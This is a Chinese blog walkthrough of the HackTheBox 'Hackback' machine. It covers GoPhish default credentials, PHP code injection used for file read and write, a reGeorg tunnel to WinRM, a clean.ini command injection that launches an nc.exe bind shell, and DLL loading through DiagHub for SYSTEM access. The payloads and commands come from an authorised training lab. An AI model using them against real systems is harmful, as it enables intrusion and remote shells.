Skip to content

Latest commit

 

History

History
645 lines (353 loc) · 30.1 KB

HackTheBox-windows-Hackback.md

File metadata and controls

645 lines (353 loc) · 30.1 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

大余安全  

一个每日分享渗透小技巧的公众号

大家好,这里是 大余安全 的第 84 篇文章,本公众号会每日分享攻防渗透技术给大家。

靶机地址:https://www.hackthebox.eu/home/machines/profile/176

靶机难度:疯狂(6.5/10)

靶机发布日期:2019 年 5 月 29 日

靶机描述:

Hackback is an insane difficulty Windows box with some good techniques at play. A GoPhish website is discovered which leads us to some phishing vhosts. While fuzzing for files a javascript file is discovered which is rot13 encoded. It contains sensitive information about an admin page which leads to RCE vulnerability. PHP disabled_functions are in effect, and so ASPX code is used to tunnel and bypass the firewall. 

Enumeration of the file system leads to a code injection vulnerability in a configuration file, from which named pipe impersonation can be performed. Enumeration reveals that the user has permissions on a service, which allows for arbitrary writes to the file system. This is exploited to copy a DLL to System32, and triggering it using the DiagHub service to gain a SYSTEM shell.

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用 Kali Linux 作为解决该 HTB 的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

可以看到靶机的 IP 是 10.10.10.128....

IIS 在端口 80 上运行,而未知服务在端口 6666 上运行 HTTPAPI,它允许应用程序之间进行 HTTP 2.0 通信,端口 64831 也开放着....

应该是一头驴.... 应该不是马把...

gubuster 爆破目录没发现有用的...

80 信息收集没有用的,转到了 http 2 的 6666 端口上...

访问发现报错... 让我们尝试某些命令... 试试

curl http://10.10.10.128:6666/whoami --http2

嗯,可以看到它以 NT authority \ network service 等信息作为响应的,/whoami 列出了有关运行此服务的用户的信息...

list 列出了目录存在的文件...

help 帮助查看可以利用的命令都列举出来的...

针对端口搜索了下...

netstat 发现了所有开放的端口,135.139.445.3389.6666.5985 端口等等都运行着...

这里卡了一会... 能查询到的信息,还是没暴露出可用的...

http 的 64831 也没啥信息...

https 的 64831 发现这是一个站点,还是 GoPhish 的登陆页面...Gophish 是一个开放源代码的网络钓鱼框架...

可以看到搜索 GoPhish 页面,找到了默认的登陆账号密码:

Username: admin   Password: gophish

成功登陆进来了... 这里还 google 登陆了,火狐不稳定登陆这个页面

可以看到在模板下,存在 5 封邮件模板...

这里发现了一个页面... 子域名...

另外四个模板下,都存在了不同的钓鱼页面... 添加到 DNS 都能访问,但是只有 admin 是子域名形式...

经过登陆 admin.hackback.htb 子域名应该是可利用的... 往这走下去...

密码重置和注册页面都是 404... 查看下前端源码...

前端源码 js/js,底层可能存在 js 的文件.. 爆破看看

gobuster dir -u http://admin.hackback.htb/js/ -w /usr/share/wordlists/dirb/common.txt -x js

发现了 private.js,去看看

又是 404???

提示:您正在寻找的资源可能已被删除,名称已更改或暂时不可用。

通过查看 js 目录....private.js 文件包含一些混淆的 javascript... 注意到该 ine x = 模式在源代码中重复了几次...

ine 它是 var 的 rot13 编码的字符串... 进行转码试试

是成功转码的....https://rot13.com/

https://beautifier.io/

通过 beautifier.io 解码 script 信息...

这里只需要读取 x z h y t s i k w 即可

F12 打开浏览器 JavaScript 的控制台,将变量复制进去,输出即可..

为了安全登陆绕过行为,存在一个秘密目录 / 2bb6916122f1da34dcd916421e531578,找到该目录后应该含有注入? action...

该目录应允许我们访问,当我尝试访问该目录时,我得到了 302 重定向而不是 404 重定向,因此知道这是一个有效目录...(重定向到了登陆页面)

爆破发现了存在 / webadmin.php 文件... 去看看

这里在浏览器很麻烦,开始利用 burp suit,发现又重定向到了 302...

回看 JavaScript... 获得的信息

?action=show&site=hackthebox&password=********&session=
?action=list&site=hackthebox&password=********&session=
?action=exec&site=hackthebox&password=********&session=
?action=exec&site=hackthebox&password=********&session=

四种针对 hackthebox 进行注入组...

只有第二组和第三组有数据返回...

Wrong secret key! 和 Missing command...

提示错误的密匙和缺少了命令... 缺少命令先不管... 因为给的信息就这么多.. 密匙不对,可以找...

https://github.com/danielmiessler/SecLists

这里利用 SecLists 集成文本,感谢麻省理工的大佬们!!

wfuzz -c -w darkweb2017-top1000.txt --hw 0 --hh 17 'http://admin.hackback.htb//2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=FUZZ&session='

利用 wfuzz 爆破获得 12345678 密码,marine 无长度,先不管...

虽然还是 302,但输出信息了:

e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log

这里尝试修改了很多地方.. 但是返回的不是命令错误,302 输出的信息...

这只单单是 admin.hackback.htb 子域名的登陆页面获取了以上信息...

继续对 Gophish 五大模块中获得到的域名进行分析...

www.hackthebox.htb
www.twitter.htb
www.paypal.htb
www.facebook.htb

这四个域名都添加到 DNS...

先分析第一个...

可以看到,当我在 www.hackthebox.htb 的页面输入用户名密码... 在之前的注入中都能显示出来..

测试后,只有 show+session 才可以显示出来...

这里 list 和 show 都是 php 中的命令... 这里进行了 php 注入的测试...

emile输入:<?php echo "dayu"; ?>
password输入:<?php echo "dayu123"; ?>

说明存在 php 注入,可以利用 php 进行写入和读取.. 测试看看

当我在 www.hackthebox.htb 页面 passwd 输入:

<?php echo print_r(scandir($_GET['dir'])); ?>

输出的是 dir 查询到本目录下存在的文件信息... 可以读取... 继续测试写入

利用 file_put_contents 在目标上写入文件...

在 password 输入:

<?php $f = "ZGF5dSBkYXl1IGhlbGxvCg=="; file_put_contents("dayu.txt", base64_decode($f)); ?>

已经成功写入了该文件...

继续输入:

<?php include($_GET['file']);?>

可以看到... 读取了文本的刚写入的信息...

<?php print_r(scandir('..')); ?>

返回上一目录查看,web.config 和 web.config.old 查看下..

<?php echo file_get_contents('../web.config.old'); ?>
userName=simple
password=ZonoProprioZomaro:-(

发现了用户名密码...

二、提权

测试结果可以读取可以写入... 而且内容需要 base64 才可以写入..

这里的思路是,找到可写入的文件,或者自己写 shellcode 进行提权即可...

可以知道前面 5985 端口运行着,可以使用 winrm 进行登陆...

https://github.com/sensepost/reGeorg

跟着步骤走即可...

编译 tunnel.aspx 为 base64

<?php file_put_contents("tunnel.aspx",base64_decode("base64值")); ?>

结果很好,隧道建立了

这里出了点错误... 问题不大

很好,建立了链接...

https://github.com/Alamot/code-snippets/tree/master/winrm

这里使用 winrm 的 winrm_shell_with_upload.rb 来写 EXP 即可...

wget https://github.com/Alamot/code-snippets/raw/master/winrm/winrm_shell_with_upload.rb

下载即可

开始写入 EXP 即可...

这里需要:

userName=simple
password=ZonoProprioZomaro:-(

开始开始,这里有点坑...

1.记得是https改成http...
2.账号记得加hackback不然链接补上...
3.urllib3库完整性问题
这里坑了我点时间...不过也算熟悉了

成功连接...

此脚本包含恶意内容,已被您的防病毒软件阻止...

查看了防火墙,默认为禁止进出,制定了两个规则,在两个位置允许 ping 和使用三个端口... 都没启用出口流量限制...

这里本来是可以利用 proxychains3 winrm_shell_with_upload.rb 进行 upload 的,因为 winrm 具有 UPLOAD 下载功能,winrm_shell_with_upload 的 RB 中针对 winrm 的 upload 写了 EXP 代码,但是我无法执行!!!目前还在找原因... 只能用老版本 winrm_shell.rb 进行连接,如果用 upload 直接就能用 NC 反弹个 shell 即可...

继续在内部找漏洞吧!!!

可以看到 clean.ini 定义了三个变量,这里有隐藏文件 dellog.bat,它会随着 batch.log 开始和停止时间进行更新运行 dellog.ps1,然后循环遍历所有 bat 文件并运行...

这里只需要将 nc 执行反向 shell 的命令写入 clean.ini 即可...

这里我将 proxychains winrm_shell.rb 改成了 proxychains3 upload,遇到了几个问题.. 实在无法解决,通过 ippsec 解决了问题,感谢大佬!

成功上传 NC...

echo [Main] > C:\util\scripts\clean.ini
echo LifeTime=100 >> C:\util\scripts\clean.ini
echo "LogFile=c:\util\scripts\log.txt & cmd.exe /c C:\windows\system32\spool\drivers\color\nc.exe -lvp 8888 -e cmd.exe" >> C:\util\scripts\clean.ini
echo "Directory=c:\inetpub\logs\logfiles" >> C:\util\scripts\clean.ini

等待几分钟... 成功获得了反向外壳...

方然还可以这么提权... 但是获得的 shell 会快很多,但是无法进入 hacker... 还是得回到前面的方法...

成功获得了 user 信息...

在查看系统时,发现一个无法识别的服务正在运行着...UserLogger.exe

Description 表示它负责记录用户活动,我尝试用以下方式启动该服务,可以看到它被允许启动和停止服务...

开始进行测试,创建了一个测试文件 test.txt 然后重新启动了服务,通过附加. log 到我给的路径并保存在那里,读取创建了日志...

F: 可以看到日志文件的权限是完全打开的,并且可以更改内容...

方法 1:

可以利用:删除. log 文件,进行直接查看 root 信息

想法是可行的,直接开始

已经在 desktop 下创建了 root.txt 文件...

有效果的,复制出来了...

成功查看了 root... 是个图像...

wget https://docs.microsoft.com/en-us/sysinternals/downloads/streams

这里将利用 Streams 查看 desktop 底层数据信息流,上传即可...  (前面几章也讲过类似的底层查看数据流)

也可以利用 powershell 查看数据流... 但需要进入 desktop 目录... 所以这是在管理员权限下利用的...

成功上传...

c:\windows\system32\spool\drivers\color\streams.exe -accepteula root.txt

.log 是 UserLogger 生成的,所以只需要查看 flag.txt 即可... 成功获得了 root 真实信息...

**

方法 2:

2018 年 4 月,谷歌的项目发布了一篇文章 Windows 漏洞利用技巧:利用任意文件写入来提升本地特权。

这是一个漫长而复杂的文章,它涉及几个有趣的漏洞,但与如何从任意写入中获取 SYSTEM 的论点相类似,这篇文章中的 TL 和 DR 是 DCOM 公开 DiagHub 的服务,可以指示该服务从 system32 系统内部加载 dll ,实际上,在执行此加载操作时,它无需检查文件的扩展名即可执行此操作。因此只要可以将 dll 写入 system32,就可以要求 DiagHub 为此加载它..

一个更著名的例子是 Sandbox Escaper 的 ALPC 漏洞,该漏洞利用了用户调用高级本地过程调用(ALPC)端点以更改文件权限的能力 C:\Windows\tasks\UpdateTask.job,该文件默认情况下不存在,用户可以将其创建为与其他文件相关联的硬链接,并获得写访问权限。在原始 POC 中,作者方法是重写 printconfig.dll,然后使用假脱机服务来调用它。但是 RealOriginal 在 GitHub 上有一个 poc,它使用现已打补丁的漏洞利用 \ windows\system32\license.rtf 进行 dll 覆盖,然后使用 DiagHub 调用它...

github:https://github.com/realoriginal/alpc-diaghub

这里将利用 realoriginal/alpc-diaghub 的源码进行提权,我不是开发出身,只有能力利用了... 谢大佬

这台靶机已经把以上的方法都修补了... 但是靶机存在 UserLogger 可以利用写入 SYSTEM32,创建. log,并创建恶意 DLL 覆盖到. log 内,然后调用 DiagHub 进行加载执行 shellcode,从而提权...

制作恶意 dll,需要环境:

https://github.com/decoder-it/diaghub_exploit   ---下载源代码
https://blog.csdn.net/liubing8609/article/details/82695402

--- 安装 visual studio 2017 进行制作恶意 dll...

记得本靶机已经存在 Applocker 应用控制策略,限制了大部分代码执行,开始吧...

利用 diaghub_exploit 打开后,将 diaghub_exploit 生成,出错了... 找不到 SDK 版本选择 10.0.17134.0...

选择属性,出来界面 SDK 版本选择 17763 即可...

Fakedll-- 属性,也要选择 17763...

diaghub_exploit-- 生成,成功生成了项目...

Fakedll 重新生成库... 成功生成...

修改,重新生成即可... 这里提示的是写入的恶意 shellcode 的. bat 文件,需要执行的目录环境...

修改,重新生成即可... 同理上

在 release 目录找到前面成功生成的两个项目文件...dia..exploit.exe 和 FakeDll.dll...

简单的一句话 shell...

利用 proxychain 的 tunnel 进行上传三个文件至 color 即可...(这里存在小坑!)

可看到 UserLogger 生成的 dayu.log 文件 byte58,当 copy 过来后增长了... 这是查看是否 copy 成功...

可以看到这里遇到了很多坑... 我做了不下 5 次,创建了很多 exe 和 dll 去反复填坑测试... 遇到的坑我非常开心,都填满了...

这里执行即可...

然后查看端口服务是否开启...8888 端口成功启用了...

proxy nc 成功监听获得了反向外壳...system 管理员权限!

这里按照方法 1,我们已经知道含有数据流的坑... 前面也说了不需要利用 stream.exe 即可查看...

利用 powershell 自带功能,查看到了 root 文本位置...

查看即可... 还是一头驴...

前几篇文章也演示过 powershell 可以通过 / a /r 查看底层数据量...

成功获得 root,flag 信息...

通过 UserLogger 的可写可读利用,我相信这里还有很多种更简洁的方法可以利用... 期待

这里感谢 ippsec 大佬的帮助,在 proxychain3 ruby xxx.rb 这儿我卡了整整大半天,是因为 gem 的问题导致的...

这又是一篇非常难的靶机,由于 HTB 卡的问题,我都是凌晨大晚上才操作... 应该是反复做了 7 遍...

非常舒服,提升也很大,加油!!

这里推荐一个 ippsec 讲解的 AppLocker Bypass COR Profiler 绕过漏洞视频,我看完了,很 NICE...

https://www.youtube.com/watch?v=T91iXd_VPVI  --AppLocker Bypass COR Profiler ippsec

由于我们已经成功得到 root 权限查看 user.txt 和 root.txt,因此完成这台疯狂的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

随缘收徒中~~ 随缘收徒中~~ 随缘收徒中~~

欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

大余安全

一个全栈渗透小技巧的公众号